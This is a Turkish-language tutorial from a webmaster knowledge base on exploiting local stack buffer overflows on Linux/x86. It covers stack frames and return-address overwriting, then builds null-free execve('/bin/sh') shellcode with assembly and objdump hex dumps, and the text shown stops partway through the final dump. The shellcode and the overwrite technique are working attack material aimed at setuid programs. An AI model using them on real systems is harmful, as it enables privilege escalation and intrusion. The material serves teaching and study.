|  | 
Buffer Overlow & Exploit - Programlama Kodlama Webmaster bilgi bankası, knowledge base Webmaster Araçları| AnaSayfa > Programlama Kodlama  > Buffer Overlow & Exploit |  |  |  | Kategori | : Programlama Kodlama |  | Gönderen | : Admin |  | Tarih | : 2008-10-19 |  | Puan | : 4  | Katılımcı : 3 |  | Okunma | : 5801 |  |  |  |  |  |  |  |  | Buffer overflow'larin ortaya cikma tarihi 1970ler. Ilk public kullanimi
 1980'ler (Morris Worm). Kendisiyle ilgili dokumanlar ve kodlar Internet'te
 1990'dan beri yayinlaniyor. ve hala bu konuda Turkce dokuman YOK.
 
 Bu dokuman boyle asiri detay iceren ve cok dikkat gerektiren konularla
 ilgili dokumanlar serisinin ilki olup, en temel acik turu olan lokal
 programlardaki buffer overflow aciklarini kullanan exploit yazmayi
 ogretmeyi amacliyor.
 
 Dokumani anlamak icin yuzeysel C, assembly bilmeniz gerekli. Sanal bellek,
 bir proses'in bellekte nasil yerlestigi ve benzeri isletim sistemi kavramlari
 bilgileri cok yardimci olur. Ayrica setuid programlarin ne olduklari ve
 nasil calistiklari gibi temel Unix bilgileri dokumani anlamaniz icin sart.
 Gdb ve gcc ile daha onceden calismis olmaniz teknik olarak isinizi
 kolaylastiracaktir. Dokuman Linux/ix86 spesifiktir. Detaylar az farkla
 isletim sistemi ve mimariye gore degisir. Ilerideki dokumanlarda farkli
 mimarilerde ve nispeten daha zor overflow ve shellcode tekniklerini
 aciklanacaktir.
 
 
 Buffer Overflow Nedir?
 
 Buffer overflow'u tanimlayabilmek icin once buffer nedir, onu tanimlamamiz
 gerekiyor. Buffer, hafizada ard arda dizili turdes veri tipi (int, char
 gibi) depolayan hafiza blogudur. C'de bunlar array olarak gecer.
 
 Diger butun veri turleri gibi, array'ler de static yada dinamik olarak
 siniflandirilabilirler. Static degiskenler, program hafizaya yuklenirken,
 programin 'data segment'ine yerlestirilir, dinamik degiskenler ise, program
 halihazirda calisirken, dinamik olarak "stack" dedigimiz hafizada program icin
 hazirlanmis ozel bolumde yaratilip, yokedilirler. Iste buffer overflow
 dedigimiz olay da, bu dinamik degiskenlerin tasiyabilecekleri veri miktarindan
 fazlasini yukleyerek degisken'in sinirlarini asmadir. Kaba bir tabirle,
 10 byte veri tasiyabilecek bir array'a 20 byte kopyalamak bu buffer'i overflow
 etmek demektir.
 
 Bir Linux ELF programinin bellekteki yerleskesi cok karmasik. Ozellikle
 ELF (detayli bilgi icin google'da "Executable and Linkable Format" diye
 aratin) ve shared library'lerin ortaya cikmasiyla yerleske daha da karmasik
 hale geldi. Fakat temel olarak, her bir proses calismaya 3 segmentle baslar:
 text, data ve stack.
 
 1. Text segment, (genellikle bu programi calistiran tum prosesler tarafindan
 paylasilan) salt okunur, programin instructionlarini iceren bolgedir.
 Ornegin programinizdaki:
 
 for (i = 0; i < 10; i++)
 s += i;
 
 C koduna denk gelen assembly instruction'larini bu bolgede bulabilirsiniz.
 
 2. Data segment, tanimlanmis veri ve (BSS olarak da bilinen) tanimlanmamis
 verilerin bulundugu bolgedir. Ornegin
 
 int i;
 
 diye kullanirsaniz, "i" degiskeni icin BSS'te bir yer ayrilir.
 
 int j = 5;
 
 seklinde tanimlarsaniz, "j" degiskeni icin data segment'in tanimlanmis
 veriler icin ayrilmis bolgesinde yer ayrilir.
 
 3. Stack olarak adlandirilan, dinamik degiskenlerin (veya C jargonunda
 otomatik degiskenlerin) kendisinde olusturuldugu, JMP, CALL gibi
 fonksiyon cagrilarinin geri donus address'lerinin de gecici olarak
 saklandigi bolgedir. Ornegin asagidaki fonksiyonda, i degiskeni stack'te
 yaratilir, ve fonksiyon cikisinda yok edilir:
 
 int myfunc(void)
 {
 int i;
 
 for (i = 0; i < 10; i++)
 putchar("*");
 putchar('n');
 }
 
 
 Sembolize edecek olursak:
 
 0xBFFFFFFF ---------------------
 | |
 | . |
 | . |
 | . |
 | . |
 | etc |
 | env/argv pointer. |
 | argc |
 |-------------------|
 | |
 | stack |
 | |
 | | |
 | | |
 | V |
 / /
 
 | |
 | ^ |
 | | |
 | | |
 | |
 | heap |
 |-------------------|
 | bss |
 |-------------------|
 | tanimlanmis veri |
 |-------------------|
 | text |
 |-------------------|
 | shared librariler |
 | vs. |
 0x8000000 |-------------------|
 
 
 _* STACK *_
 
 Gunumuzde neredeyse butun islemcilerin "built-in" stack destegi var. Stack,
 LIFO (Last In, First Out - son gelen ilk cikar) seklinde duzenlenmis bir
 veri yapisidir. Islemci, PUSH ve POP gibi komutlarla stack'a veri aktarir,
 ya da stack'dan veri cikarir, yani stack'ten cikarilacak ilk veri, stack'e
 aktarilan son veri olacaktir.
 
 Islemcideki SP (Stack Pointer) register'i, stack'ten cikarilacak veri'nin
 adresini icerir. SP'nin son veriye mi, yoksa son veriden bir sonraki
 adrese mi isaret edecegi de islemciden islemciye degisir, fakat mevzumuz
 olan ix86 mimarisinde SP en son verinin adresine isaret eder. Bu veri,
 stack'in en ustudur. ix86 korumali modda (protected mode) stack'ten veri
 cikarilmasi veya eklenmesi 4 byte'lik (32 bit/double word) uniteler halinde
 olur. Stack'le ilgili diger onemli bir konu ise yukaridaki resimde
 goruldugu gibi genellikle asagiya dogru buyumesi. Yani, SP'nin degeri
 0xFF ise, PUSH EAX instruction'indan sonra SP'nin degeri 0xFC olur ve EAX'in
 degeri 0xFC adresinde yerlesir.
 
 PUSH instruction'i, ESP'den 4 byte cikararak (bi ust paragrafi hatirlayin)
 stack'e bir double word push eder, ve double word'u ESP registerinin icindeki
 adrese yerlestirir. POP instruction'i da, ESP registerindaki adresi okur,
 ordaki degeri stack'tan cikarir, ve ESP'nin degerini 4 artirir (ESP deki
 adresi 4 artirir). ESP'nin baslangic degerinin 0x1000, oldugunu dusunerek
 asagidaki assembler kodunu inceleyelim:
 
 PUSH dword1 ;dword1'deki deger 1, ESP'nin degeri su anda 0xFFC (0x1000 - 4)
 PUSH dword2 ;dword2'deki deger 2, ESP'nin degeri su anda 0xFF8 (0xFFC - 4)
 PUSH dword3 ;dword3'deki deger 3, ESP'nin degeri su anda 0xFF4 (0xFF8 - 4)
 POP EAX ; EAX'in degeri 3, ESP'nin degeri su anda 0xFF8 (0xFF4 + 4)
 POP EBX ; EBX'in degeri 2, ESP'nin degeri su anda 0xFFC (0xFF8 +4)
 POP ECX ; ECX'in degeri 1, ESP'nin degeri su anda 0x1000 (0xFFC + 4)
 
 Stack, gecici veri depolamak, dinamik degiskenleri saklamanin yaninda,
 fonskiyon cagrilari yaparken, geri donus adresini saklamak, yerel
 degiskenleri depolamak, fonksiyonlara paremetre yollamak icin kullaniliyor.
 
 
 CALL ve RET instruction'lari:
 
 ix86 islemci ailesi, RET ve CALL isminde, fonksiyon cagrilarini hizli ve kolay
 hale getiren iki instruction sagliyor. Dusunun, program calisiyor,
 instruction'lar teker teker calistiriliyorlar, ve bir fonksiyon cagirildi.
 IP (Instruction Pointer) artik hafizada o fonksiyonun baslangicini gosteriyor.
 Peki, fonksiyon bittiginde nereden devam edecegiz? Fonksiyon bittiginde, IP
 fonksiyon cagrilmadan onceki instruction'dan bi sonraki instruction'in
 adresini gostermeli.
 
 Su kodu inceleyelim:
 
 x = 0;
 fonksiyon(1, 2, 3);
 x = 1;
 
 x = 0 icin gerekli olan birkac assembly komutu calistiktan sonra,
 fonksiyon()'un bulundugu hafiza bolmesine gitmemiz gerekiyor. Bunun icin
 normalde, once bir sonraki instruction'un adresini (x = 1) stack'e kopyalar,
 JMP ile fonksiyonun adresine ziplar, fonksiyonun bitiminde, daha once stack'e
 sakladigimiz "geri donus adres"ine tekrar JMP ederiz. Gercekte boyle yapmayiz tabi:
 
 
 Iste, CALL instruction'u bu islemler dizisini bizim icin otomatik olarak
 yapiyor. Programin herhangi bir yerinde CALL cagrildiginda, once bir sonraki
 instuction'un adresi stack'a PUSH edilir arkasindan da fonksiyon()'un adresine
 gidilip ordaki instuction'lar calistirilir. Fonksiyon bittiginde ise, RET ile
 geri donus adresi, stack'ten POP edilir, ve o adres EIP'ye yazilir. Boylece,
 progmanin calistirilmasina kalindigi yerden devam edilir.
 
 Simdi, yukaridaki fonksiyon() cagrildiktan hemen sonraki stack'in durumuna
 bakalim
 
 | 1 | ESP+12
 | 2 | ESP+8
 | 3 | ESP+4
 |geri donus adresi| ESP
 
 Simdi, eger stack, cagirdigimiz fonksiyon() icinde local degiskenleri
 saklamak icin de kullanilacak, stack pointer'in (ESP) degeri de degisecektir
 demektir. Fakat, biz ESP'nin degerini de korumaliyiz, cunku fonksiyon()'dan
 ciktiktan sonra da, main() icinde ESP kullanilmaya devam edecek, ve
 fonksiyon()'dan geri donuldugunde main() ESP'yi fonksiyon cagirilmadan onceki
 degerinde gormek isteyecek. Bunun icin de, ESP, EBP (Extendend Base
 Pointer) olarak kopyalanir, ve stack'a PUSH edilir. (Dipnot olarak sunu da
 belirtelim ki, anlatilan bu protokol diger adiyla ABI (Application Binary
 Interface) Unix firmalari ve islemci ureticilerini iceren bir konsorsiyum
 tarafindan belirlenmistir. Bu sebeple, ayni mimaride calisan Unix isletim
 sistemleri binary'leri genellikle birbirlerinde calismaktadir, ornegin Linux
 binary'lerinin Solaris/ix86 veya SCO'da calismasi gibi)
 
 EBP'nin de stack'a PUSH edildigi ve yerel(otomatik) degiskenler icin de yer
 ayrildigi stack'in gorunusu:
 
 | 1 | EBP+16
 | 2 | EBP+12
 | 3 | EBP+8
 |geri donus adresi| EBP+4
 | saklanmis ESP | EBP
 | yerel_degisken_1| EBP-4
 | yerel_degisken_2| EBP-8
 
 Yukaridaki sekilde parametre 1, 2 ve 3, fonksiyon(1, 2, 3) deki,
 fonksiyon()'a girilen parametreler, geri donus adresi ve saklanmis ESP'den
 sonra da fonksiyon icindeki yerel(otomatik) degiskenler yerel_degisken_1,
 yerel_degisken_2 oluyor.
 
 Simdi butun bu ogrendiklerimizi toparlayacak olursak, bir fonksiyon
 cagrilirken:
 
 1. ESP'nin degeri, EBP olarak kopyalanip, stack'a PUSH edilir
 2. bir sonraki instruction'un adresi stack'a PUSH edilir
 3. fonksiyon CALL edilir.
 
 Yukaridaki islemler dizisine "Procedure Prologue" denir. Procedure Epilogue
 da, RET cagrildiginda bunun tam tersi yapilarak stack bosaltiliyor, ve
 fonksiyon cagrilmadan onceki haline geri donuyor.
 
 Simdi, stack'in isleyisini basit bir ornek uzerinde gorelim:
 
 void fonksiyon(int a, int b, int c)
 {
 char foo1[6];
 char foo2[9];
 }
 
 void main()
 {
 fonksiyon(1,2,3);
 }
 
 Simdi bu kodu, gcc'ye -S switch'i vererek derleyelim, boylece programin
 olusturlan assembly kodunu gorebilecegiz:
 
 [evil@pathfinder evil]$ gcc ornek.c -S -o ornek.S
 
 ornek.S dosyasindaki main: kismina bakalim:
 
 main:
 pushl %ebp
 movl %esp,%ebp
 pushl $3
 pushl $2
 pushl $1
 call fonksiyon
 
 Yukarida gordugunuz gibi, once main() icin procedure prologue yapilmis.
 EBP PUSH edilmis, eski Stack Pointer'in degeri, EBP'ye kopyalanmis.
 Sonra sirasiyla *tersten* 3., 2., ve 1. fonksiyon argumanlari stack'e PUSH
 edilimis, ve en sonunda da fonksiyon cagrilmis.
 
 fonksiyon'un icine bakalim simdi de:
 
 fonksiyon:
 pushl %ebp
 movl %esp,%ebp
 subl $20,%esp
 
 gene ayni sekilde procedure prologue tekrarlanmis:
 
 Base pointer stack'a push edilmis, bir stack pointer'in bir onceki degeri
 stack'a push edilmis, ve yerel degiskenler icin toplam 20 byte'lik yer
 acilmis.
 
 Eger foo1 ve foo2 array'larinin toplam uzunlugu 6+9 = 15 byte, neden 20 byte
 cikarilmis diye sorarsaniz, hafiza, dolayisiyla stack, 4 byte'lik bloklar
 halinde adreslenir, stack'a 1 bytelik veri PUSH edemezsiniz ve PUSH islemleri
 genellikle 4 byte'lik bloklarla yapilir.
 
 foo1[6], 8 byte yer kaplayacak,
 foo2[9], 12 byte yer kaplayacak, dolayisiyla, 8+12 = 20!
 
 Simdi fonksiyon cagrildiginda stack'in goruntusu soyle olacaktir:
 
 | 1 | EBP+16
 | 2 | EBP+12
 | 3 | EBP+8
 |geri donus adresi| EBP+4
 | saklanmis ESP | EBP
 | foo1 | EBP-4
 | foo1 | EBP-8
 | foo2 | EBP-12
 | foo2 | EBP-16
 | foo2 | EBP-20
 
 
 Simdi, sizin de tahmin ettiginiz uzere, foo1'e 8 byte'dan fazla, foo2'ye 12
 byte'dan fazla veri yukledigimizde foo1 veya foo2 icin ayrilmis buffer'i
 overflow etmis oluruz. foo1 array'ine 8 byte'dan fazla mesela 8 arti 4 byte
 daha eklersek saklanmis ESP'in uzerine yazmis oluruz, bir 4 byte daha
 yazarsak, geri donus adresinin uzerine yazmis oluruz ki, buffer overflow
 aciklarinin exploit edilmesi temelde budur.
 
 Simdi, buffer overflow olayini basit bir ornekle daha iyi aciklamaya
 calisalim:
 
 Soyle bir kodumuz olsun:
 
 void fonksiyon(char *str)
 {
 char foo[16];
 
 strcpy(foo, str);
 }
 
 void main()
 {
 char buyuk_array[256];
 
 memset(buyuk_array, 'A', 255);
 fonksiyon(buyuk_array);
 }
 
 Yukarida yaptigimiz sey, normalde 16 byte alabilecek bir array'a 255 byte
 saklamaya calismak. main() icinde 255 bytelik bir array'i fonksiyon()' a
 parametre olarak gonderdik, fonksiyon icinde ise array'lerin sinirlarini
 kontrol etmeden, strcpy() ile uzun array'in tamamini foo[] dolup tasana
 kadar kopyaladik.
 
 Boylece buffer doldu tasti, geri donus adresi de dahil olmak uzere hafizanin
 bir kismini 'A' harfi ile doldurdu. Bu programi derleyip calistirirsak,
 "Segmentation fault (core dumped)" hatasi aliriz. Bu hatanin sebebi
 genellikle programin kendine ait bellek kismi disindaki kisimlara erismeye
 calismasidir. Core dosyasini, programin crash ettigi andaki hafiza
 fotografi olarak dusunebiliriz.
 
 gdb ile olusan core dosyasini incelersek:
 
 [evil@victim evil]$ gdb -q ./e ./core
 Core was generated by `./e'
 Program terminated with signal 11, Segmentation fault.
 #0 0x41414141 in ?? ()
 (gdb)
 
 Gordugunuz gibi, RET instruction'i EIP register'ina 'AAAA' ya karsilik gelen
 0x41414141 adresini PUSH ettigi icin, bu adresteki instruction'a islemci
 tarafindan erisilmeye calisilmis. Fakat bu adres prosesin erisim yetkisi
 disinda oldugu icin isletim sistemi SIGSEGV signaliyla programin calismasina
 son vermis.
 
 fonksiyon'u cagirdigimizda Stack'in gorunumu soyledir:
 
 | *str | EBP+8
 |geri donus adresi| EBP+4
 | saklanmis ESP | EBP ESP
 | foo1 | EBP-4
 | foo1 | EBP-8
 | foo1 | EBP-12
 | foo1 | EBP-16
 
 Biz strcpy()'yi cagirdigimizda buyuk_array, foo1 array'inin baslangic adresi
 olan EBP-16'dan baslayarak, yukari dogru butun stack'i A ile dolduruyor.
 Simdi, peki, geri donus adresinin uzerine yazabildik, o zaman o adrese
 calismasini istedigimiz baska bir program parcaciginin adresini koysak,
 fonksiyon geri dondugunde o program parcaciginin adresine gidip, ordaki
 instruction'lari calistirmaya baslamaz mi?
 
 Cevap: Evet baslar. Mesela biz buraya /bin/sh calistiran bir kodun adresini
 koysak, fonksiyon geri dondukten sonra /bin/sh calistiracak olan kod
 calismaya baslayacak ve biz shell'e dusecegiz.
 
 Pointer aritmetigi ile, geri donus adresinin degerini degistiebildigimizi
 soyle ufak bir ornekte anlatmaya calisalim:
 
 void fonksiyon(int a, int b, int c)
 {
 char foo[6];
 int *ret;
 
 ret = foo + 12;
 (*ret) += 8;
 }
 
 void main()
 {
 int x;
 
 x = 0;
 fonksiyon(1, 2, 3);
 x = 1;
 printf("%dn", x);
 }
 
 Yukaridaki kodu calistirisaniz, x degerinin 1 olarak degil 0 olarak
 basildigini goreceksiniz. Burada yaptigimiz sey, geri donus adresinin degeri
 ile oynayarak, x = 1; komutunu pas gecmek oldu.
 
 Yukaridaki kodda daha once de anlattigimiz gibi, fonksiyon cagrilmadan once,
 bir sonraki instruction'un yani "x = 1"e denk gelen instruction'in adresi
 geri donus adresi olarak stack'e PUSH ediliyor. Fonksiyon cagrildiktan sonra
 stack'in gorunumunu sembolize edecek olursak:
 
 
 | a | EBP+16
 | b | EBP+12
 | c | EBP+8
 |geri donus adresi| EBP+4
 | saklanmis ESP | EBP ESP
 | foo | EBP-4
 | foo | EBP-8
 
 fonksiyon icinde bir integer'a pointer olan *ret, in adresini, foo'nun adresi
 + 12 olarak belirledik. Yukaridaki sekle bakarsaniz, foo'nun
 adresi(ESP-8)'e 12 eklerseniz geri donus adresinin basina gelmis oluruz.
 (*ret) += 8 yaparak da, o bolmede saklanmakta olan geri donus adresinin
 degerini 8 aritiriyoruz. Neden mi? Kodumuzun assembler dump'ina bakalim:
 
 0x804849d <main+13>: pushl $0x3
 0x804849f <main+15>: pushl $0x2
 0x80484a1 <main+17>: pushl $0x1
 0x80484a3 <main+19>: call 0x8048470 <fonksiyon>
 0x80484a8 <main+24>: addl $0xc,%esp
 0x80484ab <main+27>: movl $0x1,0xfffffffc(%ebp)
 0x80484b2 <main+34>: movl 0xfffffffc(%ebp),%eax
 0x80484b5 <main+37>: pushl %eax
 0x80484b6 <main+38>: pushl $0x804851c
 0x80484bb <main+43>: call 0x80483bc <printf>
 0x80484c0 <main+48>: addl $0x8,%esp
 0x80484c3 <main+51>: leave
 0x80484c4 <main+52>: ret
 
 <main+19> daki fonksiyon'a CALL yapilmadan once ne yapiliyordu? Bir sonraki
 instruction'un adresi stack'a push ediliyordu. Yani stack'e diger
 instruction'un adresi olarak (x = 1'in) 0x80484ab adresi PUSH edilecek. Fakat
 biz burdaki instruction'u gecmek ve de direkt olarak 0x80484b2 adresinden
 devam etmek istiyoruz. Aradaki fark da 0x80484b2 - 0x80484ab = 0x8.
 Yani 8 byte'lik bir fark var. O zaman, stack'a PUSH edilen geri donus
 adresini degerini 8 artirirsak, x = 1 islemini bypass etmis olacagiz. Iste
 bu nedenle 8 byte artiriyoruz: (*ret) += 8;.
 
 Evet, eger retun adresin degeri ile oynayip, onu istedigimiz bir hafiza
 bolmesine yonlendirebiliyorsak, o zaman, hafizada shell spawn eden bir
 instruction'lar dizisi bulundurur, geri donus adresini de bu instruction'lar
 dizisinin baslangic adresi olarak degistiririz, ve voila, direk olarak
 shell'e duseriz!!!
 
 Peki o zaman, shell spawn etmek icin ne yapmali? En basitinden C'de soyle
 olacaktir:
 
 #include <stdio.h>
 
 void main()
 {
 char *shell[2];
 
 shell[0] = "/bin/sh";
 shell[1] = NULL;
 
 execve(shell[0], shell, NULL);
 }
 
 execve(2)'yi okursaniz, execve system call'u calistirilacak dosya ismine
 pointer, arguman pointer'i ve de NULL da olabilen bir environment pointer'i
 aliyor. Bu kodu derleyip calistirirsaniz:
 
 [murat@victim murat]$ ./s
 bash$
 
 baska bir shell spawn etmis olursunuz...
 
 Fakat biz "shell spawn eden programimizi" boyle cagiramayiz, oyle degil mi?
 O zaman bunu makinanin direkt calistirabilecegi instruction'lar dizisi haline
 getirmek lazim. Yukaridaki kodumuzu gcc'ye --static parametresi vererek
 derleyip, assembler ciktisina bakalim:
 
 [murat@victim murat]$ gcc --static -o s s.c
 [murat@victim murat]$ gdb ./s
 (gdb) disas main
 Dump of assembler code for function main:
 0x8048124 <main>: pushl %ebp
 0x8048125 <main+1>: movl %esp,%ebp
 0x8048127 <main+3>: subl $0x8,%esp
 0x804812a <main+6>: movl $0x80592ac,0xfffffff8(%ebp)
 0x8048131 <main+13>: movl $0x0,0xfffffffc(%ebp)
 0x8048138 <main+20>: pushl $0x0
 0x804813a <main+22>: leal 0xfffffff8(%ebp),%eax
 0x804813d <main+25>: pushl %eax
 0x804813e <main+26>: movl 0xfffffff8(%ebp),%eax
 0x8048141 <main+29>: pushl %eax
 0x8048142 <main+30>: call 0x804ca10 <execve>
 0x8048147 <main+35>: addl $0xc,%esp
 0x804814a <main+38>: leave
 0x804814b <main+39>: ret
 0x804814c <main+40>: nop
 0x804814d <main+41>: nop
 0x804814e <main+42>: nop
 0x804814f <main+43>: nop
 End of assembler dump.
 (gdb)
 
 Yukarida kisaca, <main> ve <main+1> de procedure prologue goruluyor,
 <main+3> -- char *shell icin gerekli 8 byte stack pointer'dan cikiliyor,
 <main+6> -- "/bin/sh" string'inin adresi EBP - 8'e yani shell[0]'a konuyor
 <main+13> - 0x0 yani NULL EBP - 4'e konuyor
 
 simdi de sirasiyla argumanlar bir sonraki fonksiyon (execve) icin stack'a
 PUSH ediliyor...
 
 <main+20> - 0x0 (shell[1]) PUSH ediliyor
 <main+22> - shell[0]'daki "/bin/sh" in adresi EAX registirina konuyor
 <main+25> - EAX stack'a push ediliyor, (dolayisiyla shell[0]in icindeki
 efektiv adres)
 <main+26> - shell[0] in adresi EAX'a kopyalaniyor,
 <main+29> - EAX gene PUSH ediliyor
 <main+35> - execve() cagriliyor...
 
 
 Simdi de execve'nin assembler dump'ina bakalim:
 
 (gdb) disas __execve
 Dump of assembler code for function __execve:
 0x80002bc <__execve>: pushl %ebp
 0x80002bd <__execve+1>: movl %esp,%ebp
 0x80002bf <__execve+3>: pushl %ebx
 0x80002c0 <__execve+4>: movl $0xb,%eax
 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
 0x80002ce <__execve+18>: int $0x80
 0x80002d0 <__execve+20>: movl %eax,%edx
 0x80002d2 <__execve+22>: testl %edx,%edx
 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
 0x80002d6 <__execve+26>: negl %edx
 0x80002d8 <__execve+28>: pushl %edx
 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
 0x80002de <__execve+34>: popl %edx
 0x80002df <__execve+35>: movl %edx,(%eax)
 0x80002e1 <__execve+37>: movl $0xffffffff,%eax
 0x80002e6 <__execve+42>: popl %ebx
 0x80002e7 <__execve+43>: movl %ebp,%esp
 0x80002e9 <__execve+45>: popl %ebp
 0x80002ea <__execve+46>: ret
 0x80002eb <__execve+47>: nop
 End of assembler dump.
 
 Ilk uc satir, procedure prologue:
 
 0x80002bc <__execve>: pushl %ebp
 0x80002bd <__execve+1>: movl %esp,%ebp
 0x80002bf <__execve+3>: pushl %ebx
 
 Syscall table'daki execve'nin numarasi olan 11'i EAX'a kopyaliyoruz.
 (farkli system call calistirmak isteyebilirsiniz, system call'un numarasini
 /usr/src/linux/include/asm/unistd.h dosyasindan ogrenebilirsiniz. Farkli
 system call'lari kullanan daha egzotik shellcode'lari sonraki dokumanlarda
 bulabileceksiniz)
 
 0x80002c0 <__execve+4>: movl $0xb,%eax
 
 "/bin/sh" in adresini EBX'e kopyaliyoruz:
 
 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
 
 shell[]'in adresini ECX'e kopyaliyoruz:
 
 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
 
 NULL pointer'in adresini EDX'e kopyaliyoruz:
 
 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
 
 ve, kernel mod'a geciyoruz:
 
 0x80002ce <__execve+18>: int $0x80
 
 Simdi de, exit() icin gerekli assebmly kodlari:
 
 (gdb) disas _exit
 Dump of assembler code for function _exit:
 0x800034c <_exit>: pushl %ebp
 0x800034d <_exit+1>: movl %esp,%ebp
 0x800034f <_exit+3>: pushl %ebx
 0x8000350 <_exit+4>: movl $0x1,%eax
 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
 0x8000358 <_exit+12>: int $0x80
 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
 0x800035d <_exit+17>: movl %ebp,%esp
 0x800035f <_exit+19>: popl %ebp
 0x8000360 <_exit+20>: ret
 0x8000361 <_exit+21>: nop
 0x8000362 <_exit+22>: nop
 0x8000363 <_exit+23>: nop
 End of assembler dump.
 
 Yukadida da, ozet olarak, EAX register'i syscall table'da exit'in karsiligi
 olan 1 yapilip, EBX'de 0 yapilip kernel mode'a geciliyor.
 
 Evet yukaridakileri soyle bir ozetlersek, yaptigimiz sey, stack'a shell[0],
 shell ve NULL PUSH edip execve'yi cagirmakti. Sonra execve "/bin/sh"i
 calistirdi. Yalniz dikkat ediniz, execve'nin icinde yapilan isler tamamen
 Linux-specific'tir. Linux, kernel moduna gecmeden once gerekli olan seyleri
 register'lara koyar ve sonra da kernel moduna gecer, eger isletim sistemimiz
 FreeBSD olsa idi, execve bu parametreleri gene stack'a koyacakti...
 
 execve'nin calismasi icin gereken sartlar:
 
 1. Hafizanin bir yerinde "/bin/sh" stringini bulundurmak,
 2. "/bin/sh" in adresini ve arkasindan bir adet null long word bulundurmak
 3. system call table'da execve'yi tanimlayan 0xb (11) degerini EAX registerina
 koymak
 4. "/bin/sh" in adresinin adresini EBX registerina koymak
 5. shell'in adresini ECX registerina koymak
 6. null long word'un adresini EDX registerina koymak,
 7. 0x80 ile kernel moda gecmek.
 
 Iste bu kadar, yalniz execve'de bir sorun oldugunda programin smooth exit
 yapabilmesi icin bir de buna exit() system call'unu eklemeliyiz, ama bu
 zorunlu degil. Bunu yapmayip shellcode'unuzu kisaltabilirsiniz.
 
 exit() calistiran bir programi assembler koduna baktiginiz zaman, exit
 syscall'unun da kernel moda gecmeden evvel, EAX registerina 0x1 (1) ve
 de, EBX registerina 0x0 (0) istedigini goreceksiniz.
 
 O zaman 7. den sonra 8, 9 ve 10. adimlarimizi da yazalim:
 
 8. system call table'da exit'in karsiligi olan 0x1'i EAX'a koy
 9. EBX'e 0x0 koy
 10 0x80 ile kernel moduna gec.
 
 Evet, kisaca boyle. Bu isleri yapan bir shell code yazip, objdump'la
 hex karsiligini bulabiliriz:
 
 void main() {
 __asm__("
 jmp 0x2a # 3 byte
 popl %esi # 1 byte
 movl %esi,0x8(%esi) # 3 byte
 movb $0x0,0x7(%esi) # 4 byte
 movl $0x0,0xc(%esi) # 7 byte
 movl $0xb,%eax # 5 byte
 movl %esi,%ebx # 2 byte
 leal 0x8(%esi),%ecx # 3 byte
 leal 0xc(%esi),%edx # 3 byte
 int $0x80 # 2 byte
 movl $0x1, %eax # 5 byte
 movl $0x0, %ebx # 5 byte
 int $0x80 # 2 byte
 call -0x2f # 5 byte
 .string "/bin/sh" # 8 byte
 ");
 }
 
 Bu programi derleyip objdump'la sadece main'in icerigine bakalim:
 
 [murat@victim murat]$ make q
 cc q.c -o q
 [murat@victim murat]$ objdump -d q | grep <main>: -A23 | more
 08048440 <main>:
 8048440: 55 pushl %ebp
 8048441: 89 e5 movl %esp,%ebp
 8048443: eb 2a jmp 804846f <main+0x2f>
 8048445: 5e popl %esi
 8048446: 89 76 08 movl %esi,0x8(%esi)
 8048449: c6 46 07 00 movb $0x0,0x7(%esi)
 804844d: c7 46 0c 00 00 movl $0x0,0xc(%esi)
 8048452: 00 00
 8048454: b8 0b 00 00 00 movl $0xb,%eax
 8048459: 89 f3 movl %esi,%ebx
 804845b: 8d 4e 08 leal 0x8(%esi),%ecx
 804845e: 8d 56 0c leal 0xc(%esi),%edx
 8048461: cd 80 int $0x80
 8048463: b8 01 00 00 00 movl $0x1,%eax
 8048468: bb 00 00 00 00 movl $0x0,%ebx
 804846d: cd 80 int $0x80
 804846f: e8 d1 ff ff ff call 8048445 <main+0x5>
 8048474: 2f das
 8048475: 62 69 6e boundl 0x6e(%ecx),%ebp
 8048478: 2f das
 8048479: 73 68 jae 80484e3 <_etext+0x33>
 804847b: 00 c9 addb %cl,%cl
 804847d: c3 ret
 
 Gordugunuz gibi bize gerekli instruction'lar 0x8048443'ten itibaren basliyor.
 Dikkat ederseniz, instruction'lar arasinda ornegin movl $0xb,%eax'a denk
 gelen 0 iceren bir kac byte vardir. Sorun su ki, strcpy() ve arkadaslari
 0 byte'i string'in sonu olarak algiliyor, yani bu haliyle bizim shellcode
 sadece ilk 0 byte'a kadar kopyalanacak. 0'lara denk gelen instruction'lari
 bunlarin dengi fakat 0 icermeyen instruction'larla degistirip tekrar
 deneyelim. Asagida, hangi instruction'lari hangileriyle degistirdigimiz
 yeraliyor:
 
 movb $0x0,0x7(%esi) xorl %eax,%eax
 molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
 movl %eax,0xc(%esi)
 --------------------------------------------------------
 movl $0xb,%eax movb $0xb,%al
 --------------------------------------------------------
 movl $0x1, %eax xorl %ebx,%ebx
 movl $0x0, %ebx movl %ebx,%eax
 inc %eax
 
 Ve yeni shellcode'umuz:
 
 void main() {
 __asm__("
 jmp 0x1f # 2 byte
 popl %esi # 1 byte
 movl %esi,0x8(%esi) # 3 byte
 xorl %eax,%eax # 2 byte
 movb %eax,0x7(%esi) # 3 byte
 movl %eax,0xc(%esi) # 3 byte
 movb $0xb,%al # 2 byte
 movl %esi,%ebx # 2 byte
 leal 0x8(%esi),%ecx # 3 byte
 leal 0xc(%esi),%edx # 3 byte
 int $0x80 # 2 byte
 xorl %ebx,%ebx # 2 byte
 movl %ebx,%eax # 2 byte
 inc %eax # 1 byte
 int $0x80 # 2 byte
 call -0x24 # 5 byte
 .string "/bin/sh" # 8 byte
 # toplam 46 byte
 ");
 }
 
 [murat@victim murat]$ make q
 cc q.c -o q
 [murat@victim murat]$ objdump -d q | grep <main>: -A23
 08048440 <main>:
 8048440: 55 pushl %ebp
 8048441: 89 e5 movl %esp,%ebp
 8048443: eb 1f jmp 8048464 <main+0x24>
 8048445: 5e popl %esi
 8048446: 89 76 08 movl %esi,0x8(%esi)
 8048449: 31 c0 xorl %eax,%eax
 804844b: 88 46 07 movb %al,0x7(%esi)
 804844e: 89 46 0c movl %eax,0xc(%esi)
 8048451: b0 0b movb $0xb,%al
 8048453: 89 f3 movl %esi,%ebx
